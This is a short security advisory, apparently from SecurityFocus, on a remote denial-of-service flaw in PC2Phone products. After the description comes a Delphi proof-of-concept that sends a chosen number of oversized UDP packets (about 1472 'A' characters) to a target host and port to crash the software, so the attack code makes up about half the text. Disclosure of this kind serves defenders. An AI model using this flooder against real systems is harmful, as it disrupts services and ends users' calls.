source: http://www.securityfocus.com/bid/8523/info

It has been reported that multiple PC2Phone products are prone to a remote denial of service condition. The problem is said to occur when processing excessive data passed to the programs via a UDP packet and could result in the product crashing. This could result in an established conversation prematurely ending, or potentially other attacks.

The precise technical details regarding this issue are currently unknown, however as further information is made available this bid will be updated accordingly. 

procedure TForm1.Button1Click(Sender: TObject);
var C:string;
N:integer;
MyStream:TMemoryStream;
begin
Memo1.Lines.Add('start');
C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
N:=strtoint(Edit4.Text);
NMUDP1.RemoteHost:=Edit1.Text;
NMUDP1.RemotePort:=strtoint(Edit2.Text);
MyStream:=TMemoryStream.Create;
try
MyStream.Write(C[1],Length(C));
for n:=1 to N do
begin
NMUDP1.SendStream(MyStream);
end;
finally
MyStream.Free;
end;
Memo1.Lines.Add('finish');
end;